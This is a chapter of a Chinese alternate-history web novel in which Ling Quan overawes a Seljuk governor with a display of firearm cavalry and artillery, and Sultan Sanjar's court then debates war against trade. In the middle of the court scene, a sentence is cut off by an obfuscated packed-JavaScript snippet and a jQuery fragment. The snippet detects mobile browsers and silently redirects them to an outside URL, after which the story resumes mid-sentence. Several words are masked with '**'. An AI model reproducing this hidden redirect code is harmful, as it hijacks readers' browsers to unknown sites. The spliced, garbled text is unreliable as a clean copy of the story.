玉龙杰赤城西，阿姆河畔的铁壁堡，如同蛰伏在金色沙海边缘的黑色巨兽，在初秋的骄阳下沉默地蒸腾着热浪。夯土与红砖构筑的城墙高耸而厚重，墙头玄色“凌”字王旗与“安西都护府”的赤焰战旗在干燥的焚风中猎猎作响。城堡内外，一种刻意营造的、混合着肃杀与“欢迎”的诡异气氛弥漫开来。


    今日，是塞尔柱帝国东部总督，阿尔斯兰·汗（与东喀喇汗君主同名），奉苏丹桑贾尔之命，前来“洽谈通商事宜”的日子。


    城堡正门大开，吊桥放下。一队盔明甲亮的玄甲骑兵肃立两侧，挺直的骑枪枪尖在阳光下闪烁着刺目的寒光。没有喧天的鼓乐，没有铺陈的红毯，只有一种沉凝如铁的寂静，仿佛连风都刻意放缓了脚步。


    凌泉并未亲自出迎，只派了陆寒作为代表，在堡门外等候。他本人，则端坐于堡内最高瞭望台的一张虎皮大椅上，一身玄色常服，指尖轻轻敲击着扶手，目光淡漠地俯瞰着下方的一切。霜月与火鸢侍立身后，眼神锐利如鹰。


    午时刚过，地平线上烟尘扬起。一支规模不小的队伍缓缓行来。打头的是百余名身穿华丽锁子甲、头戴尖顶盔、手持新月弯刀的塞尔柱骑兵，旗帜上绣着金色的双头鹰狮——塞尔柱苏丹的标志。队伍中央，是一辆由四匹白色阿拉伯骏马拉动的、装饰着黄金和**的华丽车驾。车帘低垂，看不清内里情形。队伍后方，则是驮着礼物的骆驼队和更多的护卫骑兵。


    总督的仪仗尽力维持着帝国的威严，但那份刻意挺直的脊梁和警惕扫视四周的眼神，却暴露了他们内心深处的不安。


    队伍行至堡门前停下。车帘掀开，一名年约五旬、身形微胖、留着浓密虬髯、头戴镶嵌巨大绿松石金冠的中年男子，在侍从的搀扶下走下马车。他便是塞尔柱帝国东部总督，阿尔斯兰·汗。他穿着紫金色的锦缎官袍，外罩一件轻薄的雪白亚麻斗篷以抵挡烈日，努力维持着镇定，但微微闪烁的眼神和下意识捻动宝石戒指的动作，却泄露了他此行真正的目的——试探虚实。


    “奉北平郡王钧旨！恭迎塞尔柱帝国东部总督，阿尔斯兰·汗阁下驾临铁壁堡！”陆寒上前一步，右手抚胸，行了一个不卑不亢的礼节，声音洪亮，“王爷已在堡内恭候，请！”


    阿尔斯兰·汗微微颔首，用带着浓重波斯口音的突厥语回应，语气尽量保持平淡：“有劳将军。本督奉伟大的苏丹桑贾尔陛下之命，特来拜会北平郡王，共商……友好通商之大计。”他刻意加重了“友好”二字，目光却飞快地扫过堡墙上下那些黑洞洞的炮口和森严的守军。


    “总督阁下，请随末将来。”陆寒侧身引路，嘴角勾起一丝不易察觉的弧度。


    一行人穿过深邃的门洞，进入城堡内部的校场。然而，预想中的外交仪仗并未出现。校场之上，空无一人，只有烈日炙烤着平整的夯土地面，空气中弥漫着一种令人窒息的寂静。


    阿尔斯兰·汗眉头微蹙，正欲开口询问。突然！


    “呜——————！！！”


    一声凄厉尖锐、绝非号角的金属汽笛声！猛地从城堡深处炸响！撕裂长空！


    紧接着，大地开始微微震颤！如同有巨兽在地底翻身！


    “轰！轰！轰！轰——！！！”


    沉重无比、整齐划一的踏步声！如同雷霆滚过地面！从校场另一端的拱门内传来！


    在阿尔斯兰·汗及其随从惊疑不定的目光中！只见一队队骑兵！如同钢铁洪流般！从拱门内汹涌而出！


    但这些骑兵，与他们见过的任何骑兵都截然不同！


    人马俱披玄色钢甲！甲片在烈日下反射着冷硬的光泽！马面帘、鸡颈、当胸、马身甲……防护到了极致！骑士手中持有的，并非弯刀长矛，而是一种造型奇特、有着长**管、闪烁着金属幽光的……**！枪口下方，还挂着一柄寒光闪闪的**刀！队伍整齐划一，横成列，竖成行，如同用尺子量过一般！只有马蹄踏地发出的沉重轰鸣和甲叶摩擦的铿锵之音！一股混合着钢铁、汗水和杀戮气息的威压，扑面而来！


    这正是凌泉以三国精锐为骨架，用北平府标准严酷训练、装备最新式燧发马枪的——“安西铁骑”！


    “**啊……这是……什么军队？”一名塞尔柱随从下意识地喃喃自语，声音带着颤抖。


    阿尔斯兰·汗的瞳孔骤然收缩！他死死盯着那支沉默的、移动的钢铁丛林，手心的汗水浸湿了宝石戒指。作为镇守东部多年的总督，他见过波斯的具装骑兵，见过拜占庭的铁甲圣骑兵，但从未见过如此……将纪律、防护与一种冰冷武器结合得如此完美的骑兵！


    铁骑洪流在校场中央迅速变换阵型！冲锋！迂回！包抄！射击！（空枪演练）动作流畅迅猛，令行禁止，如同一个整体！扬起的尘土如同黄云，却丝毫不能掩盖其森然杀气！


    未等塞尔柱人从铁骑的震撼中回过神！


    “咚！咚！咚！咚——！！！”


    沉重如闷雷的战鼓声响起！


    校场另一侧，巨大的营门洞开！


    一门门黑洞洞的、散发着浓重硝烟味的钢铁巨兽——重型野战炮！被骡马和健牛拖拽着，缓缓驶入校场！炮身锃亮！轮毂沉重！每一门炮旁边，都跟着一队动作麻利、沉默寡言的炮兵！


    “目标！正前方！废弃箭楼！距离……八百步！实心弹！三发急速射！预备——！”炮兵指挥官冷酷的命令通过铁皮喇叭响起！


    装填手迅速将巨大的铅铁合金融铸的实心弹塞入炮膛！捣实！点燃引信！


    “轰！！！”


    “轰！轰！！！”


    “轰隆隆——！！！”


    天崩地裂般的巨响接连炸开！炮口喷吐出长达数尺的橘红色火焰和浓密白烟！巨大的后坐力让炮身猛地向后一坐！沉重的实心弹撕裂空气，发出令人心悸的尖啸！八百步外，那座用作靶标的、夯土包砖的旧箭楼，如同被巨锤砸中的积木！在第一发炮弹击中时便剧烈摇晃！第二发直接命中中部！砖石四溅，烟尘冲天！第三发更是将摇摇欲坠的残骸彻底轰塌！化作一堆废墟！


    整个校场被震耳欲聋的炮声和弥漫的硝烟笼罩！刺鼻的硫磺味呛得塞尔柱人连连咳嗽，脸色煞白！


    阿尔斯兰·汗僵立在原地，肥胖的身体微微颤抖，额头上渗出细密的冷汗。他死死攥着拳头，指甲几乎掐进掌心。他带来的那些塞尔柱精锐护卫，更是面无人色，战马不安地嘶鸣踱步，几乎要失控！这……这就是东方恶魔的力量？！这根本不是战争！这是……天罚！


    演练结束。硝烟渐渐散去。铁骑归队，炮兵肃立。校场上再次恢复死寂，只有那堆冒着青烟的箭楼废墟，无声地诉说着刚才那毁天灭地的力量。


    陆寒仿佛这才从“精彩”的演练中回过神，脸上带着“歉意”的笑容，对目瞪口呆的阿尔斯兰·汗道：“让总督阁下受惊了。今日恰逢我军日常操演，让阁下见笑了。王爷还在等候，请随我来。”


    阿尔斯兰·汗喉咙干涩，艰难地吞咽了一下，勉强挤出一丝比哭还难看的笑容：“……无妨……无妨……贵军……真是……真是威武雄壮……”他声音干涩，之前的矜持与试探之心，早已被那雷霆般的炮火轰得粉碎！


    接下来的“会谈”，在铁壁堡议事厅内进行，几乎成了凌泉的单方面宣告。阿尔斯兰·汗魂不守舍，之前的倨傲与算计荡然无存，对于凌泉提出的“自由通商”、“设立商馆”、“派驻护卫”、“协定关税”等条款，几乎不敢有任何异议，只是机械地点头，反复强调需“禀明苏丹陛下圣裁”。


    凌泉并未过多施压，恩威并施的道理他懂。他慷慨地设宴款待了阿尔斯兰·汗一行，席间展示了精美的瓷器、丝绸和烈酒“烧刀子”，再次暗示了通商带来的巨大利益。宴后，更是赠送了厚礼。


    阿尔斯兰·汗带着极度复杂的心情和一份沉甸甸的、描绘了“安西铁骑”与“神威火炮”恐怖威力的密信，以及凌泉那份措辞客气却寸步不让的通商条款，仓惶离开了铁壁堡，马不停蹄地奔向帝国首都梅尔夫。


    半个月后。塞尔柱帝国首都，梅尔夫（今土库曼斯坦马雷）。


    华丽的宫殿内，气氛却如同暴风雨前的海洋，压抑而躁动。


    伟大的苏丹，塞尔柱帝国的雄狮，桑贾尔，高踞于黄金王座之上。他年近六旬，鬓角已然斑白，但眼神依旧锐利，面容带着久经沙场的威严与疲惫。此刻，他眉头紧锁，手中紧紧攥着东部总督阿尔斯兰·汗那封字迹潦草、甚至能透过纸张感受到书写者惊惶的密信。


    阶下，帝国的重臣、将军、部落埃米尔们分立两侧，鸦雀无声，所有人的目光都聚焦在苏丹脸上，试图从中读出决策的倾向。


    “你们都看看吧。”桑贾尔的声音低沉而沙哑，将密信递给身旁的侍从长。侍从长恭敬地接过，开始大声宣读。


    信中将“安西铁骑”的森严、“神威火炮”的毁灭性威力描绘得淋漓尽致，并转述了凌泉的通商要求。随着宣读，朝堂上的呼吸声变得越来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421383|181018||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    越粗重，许多人脸上露出难以置信和惊恐的神色。


    “荒谬！”侍从长话音刚落，一个洪亮而充满怒气的声音便炸响了！出声者是苏丹的长子，马苏德王子。他年轻气盛，身材魁梧，穿着一身华丽的武士服，腰间挎着镶嵌宝石的弯刀。他大步出列，右手抚胸行礼，声音带着毫不掩饰的愤懑：“父汗！阿尔斯兰·汗定然是老了！被东方人的妖术和几门粗劣的火器吓破了胆！竟敢如此长他人志气，灭自己威风！”


    他猛地转身，扫视群臣：“诸位！别忘了我们抓到的那些西辽俘虏是怎么说的？宋国？哼！一个只知道吟诗作画、懦弱无能的国度！他们的军队不堪一击！怎么可能突然冒出如此强大的军队？这定是凌泉的疑兵之计！阿尔斯兰·汗定是收受了贿赂，才如此夸大其词，妄图蛊惑父汗！”


    马苏德身后，一众以武勋起家的将军和部落首领纷纷附和：


    “王子殿下所言极是！”


    “我塞尔柱铁骑纵横西亚，从未怕过谁！”


    “什么狗屁火炮！我麾下的古拉姆勇士，一个冲锋就能把他们踩成肉泥！”


    “绝不能答应如此**的条件！这是对**和苏丹的亵渎！”


    “王兄此言差矣！”另一个清朗却坚定的声音响起。出列的是苏丹的次子，穆罕默德王子。他身形略显清瘦，穿着文官式的长袍，气质更为沉稳。“阿尔斯兰总督镇守东部多年，忠诚可靠，绝非怯懦贪贿之人。他信中所言，即便有所夸大，也绝非空穴来风！诸位难道忘了不久前花剌子模是如何覆灭的吗？十万大军！雄城玉龙杰赤！短短数月，灰飞烟灭！摩诃末仓皇逃窜！这难道也是疑兵之计？”


    穆罕默德转向王座，语气恳切：“父汗！我军主力与黑衣大食缠斗多年，国库空虚，民疲兵乏！此时若再与一个能轻易覆灭花剌子模的强大势力开战，实属不智！凌泉所求，不过是通商。允其通商，我可收取关税，获取东方的珍宝与物资，休养生息，积蓄国力！待日后恢复元气，再图后计不迟！若贸然开战，一旦失利……恐有**之危啊！”


    支持穆罕默德的文官和一部分较为谨慎的部落首领也纷纷点头：


    “二王子深思远虑！”


    “通商获利，避战保国，方为上策！”


    “东方恶魔……不可力敌啊……”


    朝堂之上，顿时吵作一团！主战派与主和派各执一词，争得面红耳赤！武将们挥舞手臂，唾沫横飞，强调塞尔柱铁骑的荣耀与无敌！文官们引经据典，分析利害，陈述国库的窘迫与战争的巨大风险！


    马苏德和穆罕默德两位王子，更是针锋相对，寸步不让！马苏德渴望通过战争赢得军功，巩固自己作为长子的继承权，扩张自己的势力。穆罕默德则希望避免风险，通过外交和经济手段积累实力，等待时机。


    桑贾尔苏丹看着眼前吵吵嚷嚷的臣子，看着两个争执不休的儿子，眉头越锁越紧。他疲惫地揉了揉眉心。阿尔斯兰的信让他心惊，凌泉的要求让他愤怒，但花剌子模的前车之鉴更让他警惕。马苏德的勇武让他欣慰，但穆罕默德的谨慎也并非没有道理。战争？风险太大。妥协？帝国颜面何存？而且……凌泉真的会满足于通商吗？


    “够了！”桑贾尔猛地一拍王座扶手，声音带着不容置疑的威严！朝堂瞬间安静下来，所有目光都集中到他身上。


    他深吸一口气，目光扫过众人，最终缓缓开口，声音带着一丝难以决断的沉重：“此事……关系帝国国运，不可不慎。传令阿尔斯兰·汗，让他……继续与凌泉周旋，尽量拖延时间，摸清虚实。另，派出‘飞鹰使者’，速往西方各城邦、部落，打探消息，尤其是……关于凌泉舰队动向！待情报汇集，再行……决断！”


    他没有支持任何一方，选择了最稳妥也最煎熬的方式——拖延。


    “父汗！”马苏德急道。


    “苏丹陛下！”主战派将领们也面露焦急。


    桑贾尔疲惫地挥了挥手：“退下吧。本汗……要静一静。”


    众人只得躬身行礼，怀揣着不同的心思，退出了大殿。马苏德狠狠瞪了弟弟穆罕默德一眼，拂袖而去。穆罕默德则面色平静，眼中却闪过一丝深思。


    空荡的大殿内，只剩下桑贾尔一人。他靠在王座上，望着穹顶华丽的壁画，手中无意识地摩挲着那封来自东方的密信，眼中充满了前所未有的迷茫与……沉重的压力。


    东方的恶魔……究竟是真的不可战胜，还是阿尔斯兰那个蠢货夸大其词？这盘棋，下一步，该如何落子？